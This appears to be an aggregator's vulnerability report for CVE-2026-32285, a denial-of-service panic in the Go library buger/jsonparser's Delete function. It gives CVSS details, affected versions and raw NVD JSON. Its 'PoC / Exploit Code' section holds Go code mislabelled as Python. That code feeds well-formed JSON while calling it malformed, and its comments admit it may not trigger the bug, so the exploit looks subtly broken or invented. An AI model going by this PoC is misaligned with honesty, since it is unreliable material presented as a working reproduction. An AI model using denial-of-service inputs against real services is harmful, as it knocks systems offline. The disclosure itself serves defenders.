Security Vulnerability Report
中文
CVE-2026-32285 CVSS 7.5 HIGH

CVE-2026-32285

Published: 2026-03-26 20:16:12
Last Modified: 2026-04-21 15:42:08

Description

The Delete function fails to properly validate offsets when processing malformed JSON input. This can lead to a negative slice index and a runtime panic, allowing a denial of service attack.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:jsonparser_project:jsonparser:*:*:*:*:*:*:*:* - VULNERABLE
buger/jsonparser (修复前版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
package main import ( "fmt" "github.com/buger/jsonparser" ) func main() { // Proof of Concept for CVE-2026-32285 // Attempting to trigger a negative slice index in the Delete function. // Crafted malformed JSON input that causes offset miscalculation // The specific structure depends on the internal logic of the vulnerable version malformedJSON := []byte(`{"key":"value"}`) // Calling Delete with a path that triggers the negative offset calculation // In the vulnerable version, this leads to a panic: runtime error: slice bounds out of range _, _, _, err := jsonparser.Delete(malformedJSON, "key", "nested") if err != nil { fmt.Println("Exploit triggered error (expected in patched version):", err) } else { fmt.Println("Payload processed (vulnerable behavior might have occurred)") } }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32285", "sourceIdentifier": "[email protected]", "published": "2026-03-26T20:16:12.197", "lastModified": "2026-04-21T15:42:07.520", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Delete function fails to properly validate offsets when processing malformed JSON input. This can lead to a negative slice index and a runtime panic, allowing a denial of service attack."}, {"lang": "es", "value": "La función Eliminar no valida correctamente los desplazamientos al procesar una entrada JSON malformada. Esto puede provocar un índice de segmento negativo y un pánico en tiempo de ejecución, permitiendo un ataque de denegación de servicio."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-129"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jsonparser_project:jsonparser:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.1.2", "matchCriteriaId": "4B0C813E-AC2A-42B4-B085-B8DBE6790E8F"}]}]}], "references": [{"url": "https://github.com/buger/jsonparser/issues/275", "source": "[email protected]", "tags": ["Issue Tracking", "Third Party Advisory"]}, {"url": "https://github.com/golang/vulndb/issues/4514", "source": "[email protected]", "tags": ["Issue Tracking", "Third Party Advisory"]}, {"url": "https://pkg.go.dev/vuln/GO-2026-4514", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://securityinfinity.com/research/buger-jsonparser-negative-slice-panic-dos-2026", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}